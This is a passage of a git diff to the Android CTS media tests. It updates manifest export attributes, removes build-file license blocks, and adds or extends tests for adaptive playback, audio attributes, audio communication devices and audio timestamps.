         </activity>
         <activity android:name="android.media.cts.RingtonePickerActivity"
-            android:label="RingtonePickerActivity">
+             android:label="RingtonePickerActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.media.cts.MockActivity" />
-        <activity android:name="android.media.cts.MediaRouter2TestActivity" />
+        <activity android:name="android.media.cts.MockActivity"/>
+        <activity android:name="android.media.cts.MediaRouter2TestActivity"/>
         <service android:name="android.media.cts.RemoteVirtualDisplayService"
-            android:process=":remoteService" >
+             android:process=":remoteService"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </service>
-        <service android:name="android.media.cts.StubMediaBrowserService">
+        <service android:name="android.media.cts.StubMediaBrowserService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.browse.MediaBrowserService" />
+                <action android:name="android.media.browse.MediaBrowserService"/>
             </intent-filter>
         </service>
         <service android:name="android.media.cts.StubMediaSession2Service"
-            android:permission="android.media.cts">
+             android:permission="android.media.cts"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.MediaSession2Service" />
+                <action android:name="android.media.MediaSession2Service"/>
             </intent-filter>
         </service>
         <service android:name="android.media.cts.LocalMediaProjectionService"
-            android:foregroundServiceType="mediaProjection"
-            android:enabled="true">
+             android:foregroundServiceType="mediaProjection"
+             android:enabled="true">
         </service>
         <service android:name=".StubMediaRoute2ProviderService"
-            android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.MediaRoute2ProviderService" />
+                <action android:name="android.media.MediaRoute2ProviderService"/>
             </intent-filter>
-       </service>
-       <receiver android:name="android.media.cts.MediaButtonReceiver" />
+        </service>
+        <service android:name="android.media.cts.MediaButtonReceiverService"
+             android:exported="true"/>
+        <service android:name=".MediaBrowserServiceTestService"
+             android:process=":mediaBrowserServiceTestService"/>
+        <service android:name=".MediaSessionTestService"
+             android:process=":mediaSessionTestService"/>
+        <receiver android:name="android.media.cts.MediaButtonBroadcastReceiver"/>
     </application>
 
-    <uses-sdk android:minSdkVersion="29"   android:targetSdkVersion="29" />
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.media.cts"
-                     android:label="CTS tests of android.media">
+         android:targetPackage="android.media.cts"
+         android:label="CTS tests of android.media">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl b/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl
new file mode 100644
index 0000000..5aacc30
--- /dev/null
+++ b/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.os.Bundle;
+
+interface IRemoteService {
+    boolean run(int testId, int step, in Bundle args);
+}
diff --git a/tests/tests/media/libaudiojni/Android.bp b/tests/tests/media/libaudiojni/Android.bp
index 0fc6126..f77d529 100644
--- a/tests/tests/media/libaudiojni/Android.bp
+++ b/tests/tests/media/libaudiojni/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libaudio_jni",
     srcs: [
diff --git a/tests/tests/media/libimagereaderjni/Android.bp b/tests/tests/media/libimagereaderjni/Android.bp
index d97c511..b799241 100644
--- a/tests/tests/media/libimagereaderjni/Android.bp
+++ b/tests/tests/media/libimagereaderjni/Android.bp
@@ -14,10 +14,6 @@
 
 // Build the unit tests.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsimagereader_jni",
     srcs: ["AImageReaderCts.cpp"],
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
index 61a4359..847a21c 100644
--- a/tests/tests/media/libmediandkjni/Android.bp
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -16,16 +16,6 @@
 //------------------------------------------------------------------------------
 // Builds libctscodecutils_jni.so
 //
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   legacy_unencumbered
-    default_applicable_licenses: ["cts_license"],
-}
-
 cc_test_library {
     name: "libctscodecutils_jni",
     srcs: [
diff --git a/tests/tests/media/libndkaudio/Android.bp b/tests/tests/media/libndkaudio/Android.bp
index 08552d1..7af57af 100644
--- a/tests/tests/media/libndkaudio/Android.bp
+++ b/tests/tests/media/libndkaudio/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libndkaudioLib",
     include_dirs: [
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index ead4412..0abe0c2 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -468,6 +468,9 @@
                             warn(mDecoder.getWarnings());
                             mDecoder.clearWarnings();
                             mDecoder.flush();
+                            // First run will trigger output format change exactly once,
+                            // and subsequent runs should not trigger format change.
+                            assertEquals(1, mDecoder.getOutputFormatChangeCount());
                         }
                     });
                 if (verify) {
@@ -597,7 +600,10 @@
                                     segmentSize,
                                     lastSequence /* sendEos */,
                                     lastSequence /* expectEos */,
-                                    mAdjustTimeUs);
+                                    mAdjustTimeUs,
+                                    // Try sleeping after first queue so that we can verify
+                                    // output format change event happens at the right time.
+                                    true /* sleepAfterFirstQueue */);
                             if (lastSequence && frames >= 0) {
                                 warn("did not receive EOS, received " + frames + " frames");
                             } else if (!lastSequence && frames < 0) {
@@ -677,7 +683,8 @@
                                 framesBeforeEos,
                                 true /* sendEos */,
                                 true /* expectEos */,
-                                adjustTimeUs);
+                                adjustTimeUs,
+                                false /* sleepAfterFirstQueue */);
                         if (framesB >= 0) {
                             warn("did not receive EOS, received " + (-framesB) + " frames");
                         }
@@ -751,7 +758,8 @@
                                 segmentSize,
                                 lastSequence /* sendEos */,
                                 lastSequence /* expectEos */,
-                                mAdjustTimeUs);
+                                mAdjustTimeUs,
+                                false /* sleepAfterFirstQueue */);
                             if (lastSequence && frames >= 0) {
                                 warn("did not receive EOS, received " + frames + " frames");
                             } else if (!lastSequence && frames < 0) {
@@ -881,6 +889,13 @@
         Vector<Long> mRenderedTimeStamps; // using Vector as it is implicitly synchronized
         long mLastRenderNanoTime;
         int mFramesNotifiedRendered;
+        // True iff previous dequeue request returned INFO_OUTPUT_FORMAT_CHANGED.
+        boolean mOutputFormatChanged;
+        // Number of output format change event
+        int mOutputFormatChangeCount;
+        // Save the timestamps of the first frame of each sequence.
+        // Note: this is the only time output format change could happen.
+        ArrayList<Long> mFirstQueueTimestamps;
 
         public Decoder(String codecName) {
             MediaCodec codec = null;
@@ -898,6 +913,9 @@
             mRenderedTimeStamps = new Vector<Long>();
             mLastRenderNanoTime = System.nanoTime();
             mFramesNotifiedRendered = 0;
+            mOutputFormatChanged = false;
+            mOutputFormatChangeCount = 0;
+            mFirstQueueTimestamps = new ArrayList<Long>();
 
             codec.setOnFrameRenderedListener(this, null);
         }
@@ -931,6 +949,10 @@
             mWarnings.clear();
         }
 
+        public int getOutputFormatChangeCount() {
+            return mOutputFormatChangeCount;
+        }
+
         public void configureAndStart(MediaFormat format, TestSurface surface) {
             mSurface = surface;
             Log.i(TAG, "configure(" + format + ", " + mSurface.getSurface() + ")");
@@ -987,6 +1009,8 @@
                 Log.d(TAG, "output format has changed to " + format);
                 int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
                 mDoChecksum = isRecognizedFormat(colorFormat);
+                mOutputFormatChanged = true;
+                ++mOutputFormatChangeCount;
                 return null;
             } else if (ix < 0) {
                 Log.v(TAG, "no output");
@@ -995,7 +1019,6 @@
             /* create checksum */
             long sum = 0;
 
-
             Log.v(TAG, "dequeue #" + ix + " => { [" + info.size + "] flags=" + info.flags +
                     " @" + info.presentationTimeUs + "}");
 
@@ -1030,6 +1053,16 @@
                 }
             }
 
+            if (mOutputFormatChanged) {
+                // Previous dequeue was output format change; format change must
+                // correspond to a new sequence, so it must happen right before
+                // the first frame of one of the sequences.
+                assertTrue("cannot find " + info.presentationTimeUs +
+                        " in " + mFirstQueueTimestamps,
+                        mFirstQueueTimestamps.remove(info.presentationTimeUs));
+                mOutputFormatChanged = false;
+            }
+
             return String.format(Locale.US, "{pts=%d, flags=%x, data=0x%x}",
                                  info.presentationTimeUs, info.flags, sum);
         }
@@ -1079,7 +1112,8 @@
         public int queueInputBufferRange(
                 Media media, int frameStartIx, int frameEndIx, boolean sendEosAtEnd,
                 boolean waitForEos) {
-            return queueInputBufferRange(media,frameStartIx,frameEndIx,sendEosAtEnd,waitForEos,0);
+            return queueInputBufferRange(
+                    media, frameStartIx, frameEndIx, sendEosAtEnd, waitForEos, 0, false);
         }
 
         public void queueCSD(MediaFormat format) {
@@ -1109,7 +1143,7 @@
 
         public int queueInputBufferRange(
                 Media media, int frameStartIx, int frameEndIx, boolean sendEosAtEnd,
-                boolean waitForEos, long adjustTimeUs) {
+                boolean waitForEos, long adjustTimeUs, boolean sleepAfterFirstQueue) {
             MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
             int frameIx = frameStartIx;
             int numFramesDecoded = 0;
@@ -1125,6 +1159,19 @@
                             frameIx,
                             sendEosAtEnd && (frameIx + 1 == frameEndIx),
                             adjustTimeUs)) {
+                        if (frameIx == frameStartIx) {
+                            if (sleepAfterFirstQueue) {
+                                // MediaCodec detects and processes output format change upon
+                                // the first frame. It must not send the event prematurely with
+                                // pending buffers to be dequeued. Sleep after the first frame
+                                // with new resolution to make sure MediaCodec had enough time
+                                // to process the frame with pending buffers.
+                                try {
+                                    Thread.sleep(100);
+                                } catch (InterruptedException e) {}
+                            }
+                            mFirstQueueTimestamps.add(mTimeStamps.get(mTimeStamps.size() - 1));
+                        }
                         frameIx++;
                     }
                 }
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index f4e86eb..24d9514 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -222,6 +222,55 @@
         assertEquals(AudioUsage.AUDIO_USAGE_MEDIA.toString(), xsdUsage);
     }
 
+    public void testUsageToString_returnCorrectStrings() {
+        assertEquals("USAGE_UNKNOWN", AudioAttributes.usageToString(AudioAttributes.USAGE_UNKNOWN));
+        assertEquals("USAGE_MEDIA", AudioAttributes.usageToString(AudioAttributes.USAGE_MEDIA));
+        assertEquals("USAGE_VOICE_COMMUNICATION",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_VOICE_COMMUNICATION));
+        assertEquals("USAGE_VOICE_COMMUNICATION_SIGNALLING",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_VOICE_COMMUNICATION_SIGNALLING));
+        assertEquals("USAGE_ALARM", AudioAttributes.usageToString(AudioAttributes.USAGE_ALARM));
+        assertEquals("USAGE_NOTIFICATION",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION));
+        assertEquals("USAGE_NOTIFICATION_RINGTONE",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION_RINGTONE));
+        assertEquals("USAGE_NOTIFICATION_COMMUNICATION_REQUEST",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_REQUEST));
+        assertEquals("USAGE_NOTIFICATION_COMMUNICATION_INSTANT",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_INSTANT));
+        assertEquals("USAGE_NOTIFICATION_COMMUNICATION_DELAYED",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED));
+        assertEquals("USAGE_NOTIFICATION_EVENT",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION_EVENT));
+        assertEquals("USAGE_ASSISTANCE_ACCESSIBILITY",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY));
+        assertEquals("USAGE_ASSISTANCE_NAVIGATION_GUIDANCE",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE));
+        assertEquals("USAGE_ASSISTANCE_SONIFICATION",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANCE_SONIFICATION));
+        assertEquals("USAGE_GAME", AudioAttributes.usageToString(AudioAttributes.USAGE_GAME));
+        assertEquals("USAGE_ASSISTANT",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANT));
+        assertEquals("USAGE_CALL_ASSISTANT",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_CALL_ASSISTANT));
+        assertEquals("USAGE_EMERGENCY",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_EMERGENCY));
+        assertEquals("USAGE_SAFETY", AudioAttributes.usageToString(AudioAttributes.USAGE_SAFETY));
+        assertEquals("USAGE_VEHICLE_STATUS",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_VEHICLE_STATUS));
+        assertEquals("USAGE_ANNOUNCEMENT",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_ANNOUNCEMENT));
+    }
+
+    public void testUsageToString_unknownUsage() {
+        assertEquals("unknown usage -1", AudioAttributes.usageToString(-1));
+    }
+
     // -------------------------------------------------------------------
     // Reflection helpers for accessing system usage methods and fields
     // -------------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
new file mode 100644
index 0000000..e5da923
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.concurrent.Executors;
+
+public class AudioCommunicationDeviceTest extends CtsAndroidTestCase {
+    private final static String TAG = "AudioCommunicationDeviceTest";
+
+    private AudioManager mAudioManager;
+
+    private static final int[] VALID_COMMUNICATION_DEVICE_TYPES = {
+        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER,
+        AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
+        AudioDeviceInfo.TYPE_WIRED_HEADSET,
+        AudioDeviceInfo.TYPE_USB_HEADSET,
+        AudioDeviceInfo.TYPE_BUILTIN_EARPIECE,
+        AudioDeviceInfo.TYPE_WIRED_HEADPHONES,
+        AudioDeviceInfo.TYPE_HEARING_AID,
+        AudioDeviceInfo.TYPE_BLE_HEADSET,
+        AudioDeviceInfo.TYPE_USB_DEVICE,
+        AudioDeviceInfo.TYPE_BLE_SPEAKER,
+        AudioDeviceInfo.TYPE_LINE_ANALOG,
+        AudioDeviceInfo.TYPE_HDMI,
+        AudioDeviceInfo.TYPE_AUX_LINE
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = getInstrumentation().getContext().getSystemService(AudioManager.class);
+    }
+
+    private boolean isValidCommunicationDevice(AudioDeviceInfo device) {
+        for (int type : VALID_COMMUNICATION_DEVICE_TYPES) {
+            if (device.getType() == type) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public void testSetValidDeviceForCommunication() {
+        if (!isValidPlatform("testSetValidDeviceForCommunication")) return;
+
+        AudioDeviceInfo commDevice = null;
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (AudioDeviceInfo device : devices) {
+            if (!isValidCommunicationDevice(device)) {
+                continue;
+            }
+            try {
+                mAudioManager.setDeviceForCommunication(device);
+                try {
+                    commDevice = mAudioManager.getDeviceForCommunication();
+                } catch (Exception e) {
+                    fail("getDeviceForCommunication failed with exception: " + e);
+                }
+                if (commDevice == null || commDevice.getType() != device.getType()) {
+                    fail("setDeviceForCommunication failed, expected device: "
+                            + device.getType() + " but got: "
+                            + ((commDevice == null)
+                                ? AudioDeviceInfo.TYPE_UNKNOWN : commDevice.getType()));
+                }
+            } catch (Exception e) {
+                fail("setDeviceForCommunication failed with exception: " + e);
+            }
+        }
+
+        try {
+            mAudioManager.clearDeviceForCommunication();
+        } catch (Exception e) {
+            fail("clearDeviceForCommunication failed with exception: " + e);
+        }
+        try {
+            commDevice = mAudioManager.getDeviceForCommunication();
+        } catch (Exception e) {
+            fail("getDeviceForCommunication failed with exception: " + e);
+        }
+        if (commDevice != null) {
+            fail("clearDeviceForCommunication failed, expected device null but got: "
+                    + commDevice.getType());
+        }
+    }
+
+    public void testSetInvalidDeviceForCommunication() {
+        if (!isValidPlatform("testSetInvalidDeviceForCommunication")) return;
+
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (AudioDeviceInfo device : devices) {
+            if (isValidCommunicationDevice(device)) {
+                continue;
+            }
+            try {
+                mAudioManager.setDeviceForCommunication(device);
+                fail("setDeviceForCommunication should fail for device: " + device.getType());
+            } catch (Exception e) {
+            }
+        }
+    }
+
+    static class MyOnCommunicationDeviceChangedListener implements
+            AudioManager.OnCommunicationDeviceChangedListener {
+
+        private final Object mCbLock = new Object();
+        @GuardedBy("mCbLock")
+        private boolean mCalled;
+        @GuardedBy("mCbLock")
+        private AudioDeviceInfo mDevice;
+
+        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+        void reset() {
+            synchronized (mCbLock) {
+                mCalled = false;
+                mDevice = null;
+            }
+        }
+
+        AudioDeviceInfo waitForDeviceUpdate() {
+            synchronized (mCbLock) {
+                while (!mCalled) {
+                    try {
+                        mCbLock.wait(LISTENER_WAIT_TIMEOUT_MS);
+                    } catch (InterruptedException e) {
+                    }
+                }
+                return mDevice;
+            }
+        }
+
+        AudioDeviceInfo getDevice() {
+            synchronized (mCbLock) {
+                return mDevice;
+            }
+        }
+
+        MyOnCommunicationDeviceChangedListener() {
+            reset();
+        }
+
+        @Override
+        public void onCommunicationDeviceChanged(AudioDeviceInfo device) {
+            synchronized (mCbLock) {
+                mCalled = true;
+                mDevice = device;
+                mCbLock.notifyAll();
+            }
+        }
+    }
+
+    public void testDeviceForCommunicationListener() {
+        if (!isValidPlatform("testDeviceForCommunicationListener")) return;
+
+        MyOnCommunicationDeviceChangedListener listener =
+                new MyOnCommunicationDeviceChangedListener();
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(null, listener);
+            fail("addOnCommunicationDeviceChangedListener should fail with null executor");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                    Executors.newSingleThreadExecutor(), null);
+            fail("addOnCommunicationDeviceChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.removeOnCommunicationDeviceChangedListener(null);
+            fail("removeOnCommunicationDeviceChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+        } catch (Exception e) {
+            fail("addOnCommunicationDeviceChangedListener failed with exception: "
+                    + e);
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+            fail("addOnCommunicationDeviceChangedListener succeeded for same listener");
+        } catch (Exception e) {
+        }
+
+        AudioDeviceInfo originalDevice = mAudioManager.getDeviceForCommunication();
+        AudioDeviceInfo requestedDevice = null;
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (AudioDeviceInfo device : devices) {
+            if (!isValidCommunicationDevice(device)) {
+                continue;
+            }
+            if (originalDevice == null || device.getType() != originalDevice.getType()) {
+                requestedDevice = device;
+                break;
+            }
+        }
+        if (requestedDevice == null) {
+            Log.i(TAG,"Skipping end of testDeviceForCommunicationListener test,"
+                    +" no valid decice to test");
+            return;
+        }
+        mAudioManager.setDeviceForCommunication(requestedDevice);
+        AudioDeviceInfo listenerDevice = listener.waitForDeviceUpdate();
+        if (listenerDevice == null || listenerDevice.getType() != requestedDevice.getType()) {
+            fail("listener and setter device mismatch, expected device: "
+                    + requestedDevice.getType() + " but got: "
+                    + ((listenerDevice == null)
+                        ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
+        }
+        AudioDeviceInfo getterDevice = mAudioManager.getDeviceForCommunication();
+        if (getterDevice == null || getterDevice.getType() != listenerDevice.getType()) {
+            fail("listener and getter device mismatch, expected device: "
+                    + listenerDevice.getType() + " but got: "
+                    + ((getterDevice == null)
+                        ? AudioDeviceInfo.TYPE_UNKNOWN : getterDevice.getType()));
+        }
+
+        listener.reset();
+
+        if (originalDevice == null) {
+            mAudioManager.clearDeviceForCommunication();
+        } else {
+            mAudioManager.setDeviceForCommunication(originalDevice);
+        }
+        listenerDevice = listener.waitForDeviceUpdate();
+        if (originalDevice == null) {
+            if (listenerDevice != null) {
+                fail("setDeviceForCommunication failed, expected null device but got: "
+                        + listenerDevice.getType());
+            }
+        } else {
+            if (listenerDevice == null || listenerDevice.getType() != originalDevice.getType()) {
+                fail("communication device listener failed on clear, expected device: "
+                        + originalDevice.getType() + " but got: "
+                        + ((listenerDevice == null)
+                            ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
+            }
+        }
+
+        try {
+            mAudioManager.removeOnCommunicationDeviceChangedListener(listener);
+        } catch (Exception e) {
+            fail("removeOnCommunicationDeviceChangedListener failed with exception: "
+                    + e);
+        }
+    }
+
+    private boolean isValidPlatform(String testName) {
+        if (!(getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) &&
+                !getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY))) {
+            Log.i(TAG,"Skipping test " + testName + " : device has no audio output or is a TV.");
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index af5e572..1ce5469 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -182,7 +182,11 @@
             AudioFormat.ENCODING_AAC_LC,
             AudioFormat.ENCODING_AAC_HE_V1,
             AudioFormat.ENCODING_AAC_HE_V2,
-            AudioFormat.ENCODING_OPUS
+            AudioFormat.ENCODING_OPUS,
+            AudioFormat.ENCODING_MPEGH_BL_L3,
+            AudioFormat.ENCODING_MPEGH_BL_L4,
+            AudioFormat.ENCODING_MPEGH_LC_L3,
+            AudioFormat.ENCODING_MPEGH_LC_L4,
         };
         for (int encoding : encodings) {
             final AudioFormat format = new AudioFormat.Builder()
diff --git a/tests/tests/media/src/android/media/cts/AudioHelper.java b/tests/tests/media/src/android/media/cts/AudioHelper.java
index 12c6e64..ccd317d 100644
--- a/tests/tests/media/src/android/media/cts/AudioHelper.java
+++ b/tests/tests/media/src/android/media/cts/AudioHelper.java
@@ -272,6 +272,7 @@
 
         private final String mTag;
         private final int mSampleRate;
+        private final long mStartFrames; // initial timestamp condition for verification.
 
         // Running statistics
         private int mCount = 0;
@@ -284,9 +285,10 @@
         private int mWarmupCount = 0;
 
         public TimestampVerifier(@Nullable String tag, @IntRange(from=4000) int sampleRate,
-                boolean isProAudioDevice) {
+                                 long startFrames, boolean isProAudioDevice) {
             mTag = tag;  // Log accepts null
             mSampleRate = sampleRate;
+            mStartFrames = startFrames;
             // Warning if higher than MUST value for pro audio.  Zero means ignore.
             TEST_STARTUP_TIME_MS_WARN = isProAudioDevice ? 200. : 0.;
         }
@@ -296,14 +298,14 @@
         public double getStdJitterMs() { return Math.sqrt(mSecondMomentJitterMs / mJitterCount); }
         public double getMaxAbsJitterMs() { return mMaxAbsJitterMs; }
         public double getStartTimeNs() {
-            return mLastTimeNs - (mLastFrames * NANOS_PER_SECOND / mSampleRate);
+            return mLastTimeNs - ((mLastFrames - mStartFrames) * NANOS_PER_SECOND / mSampleRate);
         }
 
         public void add(@NonNull AudioTimestamp ts) {
             final long frames = ts.framePosition;
             final long timeNs = ts.nanoTime;
 
-            assertTrue("timestamps must have causal time", System.nanoTime() >= timeNs);
+            assertTrue(mTag + " timestamps must have causal time", System.nanoTime() >= timeNs);
 
             if (mCount > 0) { // need delta info from previous iteration (skipping first)
                 final long deltaFrames = frames - mLastFrames;
@@ -322,8 +324,8 @@
                         + ") deltaFrames(" + deltaFrames
                         + ") deltaTimeNs(" + deltaTimeNs
                         + ") jitterMs(" + jitterMs + ")");
-                assertTrue("timestamp time should be increasing", deltaTimeNs >= 0);
-                assertTrue("timestamp frames should be increasing", deltaFrames >= 0);
+                assertTrue(mTag + " timestamp time should be increasing", deltaTimeNs >= 0);
+                assertTrue(mTag + " timestamp frames should be increasing", deltaFrames >= 0);
 
                 if (mLastFrames != 0) {
                     if (mWarmupCount++ > 1) { // ensure device is warmed up
@@ -350,7 +352,7 @@
 
         public void verifyAndLog(long trackStartTimeNs, @Nullable String logName) {
             // enough timestamps?
-            assertTrue("need at least 2 jitter measurements", mJitterCount >= 2);
+            assertTrue(mTag + " need at least 2 jitter measurements", mJitterCount >= 2);
 
             // Compute startup time and std jitter.
             final int startupTimeMs =
@@ -358,7 +360,7 @@
             final double stdJitterMs = getStdJitterMs();
 
             // Check startup time
-            assertTrue("expect startupTimeMs " + startupTimeMs
+            assertTrue(mTag + " expect startupTimeMs " + startupTimeMs
                             + " <= " + TEST_STARTUP_TIME_MS_ALLOWED,
                     startupTimeMs <= TEST_STARTUP_TIME_MS_ALLOWED);
             if (TEST_STARTUP_TIME_MS_WARN > 0 && startupTimeMs > TEST_STARTUP_TIME_MS_WARN) {
@@ -370,7 +372,7 @@
             }
 
             // Check maximum jitter
-            assertTrue("expect maxAbsJitterMs(" + mMaxAbsJitterMs + ") < "
+            assertTrue(mTag + " expect maxAbsJitterMs(" + mMaxAbsJitterMs + ") < "
                             + TEST_MAX_JITTER_MS_ALLOWED,
                     mMaxAbsJitterMs < TEST_MAX_JITTER_MS_ALLOWED);
 
@@ -379,7 +381,8 @@
                 Log.w(mTag, "CDD warning: std timestamp jitter " + stdJitterMs
                         + " > " + TEST_STD_JITTER_MS_WARN);
             }
-            assertTrue("expect stdJitterMs " + stdJitterMs + " < " + TEST_STD_JITTER_MS_ALLOWED,
+            assertTrue(mTag + " expect stdJitterMs " + stdJitterMs +
+                            " < " + TEST_STD_JITTER_MS_ALLOWED,
                     stdJitterMs < TEST_STD_JITTER_MS_ALLOWED);
 
             Log.d(mTag, "startupTimeMs(" + startupTimeMs
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 2d85462..8b768ee 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -16,6 +16,8 @@
 
 package android.media.cts;
 
+import static org.junit.Assert.assertNotEquals;
+
 import static android.media.AudioManager.ADJUST_LOWER;
 import static android.media.AudioManager.ADJUST_RAISE;
 import static android.media.AudioManager.ADJUST_SAME;
@@ -27,8 +29,13 @@
 import static android.media.AudioManager.RINGER_MODE_SILENT;
 import static android.media.AudioManager.RINGER_MODE_VIBRATE;
 import static android.media.AudioManager.STREAM_ACCESSIBILITY;
+import static android.media.AudioManager.STREAM_ALARM;
+import static android.media.AudioManager.STREAM_DTMF;
 import static android.media.AudioManager.STREAM_MUSIC;
+import static android.media.AudioManager.STREAM_NOTIFICATION;
 import static android.media.AudioManager.STREAM_RING;
+import static android.media.AudioManager.STREAM_SYSTEM;
+import static android.media.AudioManager.STREAM_VOICE_CALL;
 import static android.media.AudioManager.USE_DEFAULT_STREAM_TYPE;
